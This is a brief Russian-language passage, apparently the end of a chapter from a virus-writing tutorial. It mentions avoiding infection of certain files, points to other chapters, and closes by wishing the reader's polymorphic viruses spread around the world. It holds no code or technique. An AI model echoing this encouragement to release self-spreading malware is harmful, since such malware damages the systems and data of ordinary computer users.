должны избегать инфицирования таких файлов. Много инфориации об этом вы найдете в других главах. Я надеюсь, что ваши полиморфики прокатятся по всему миру! J |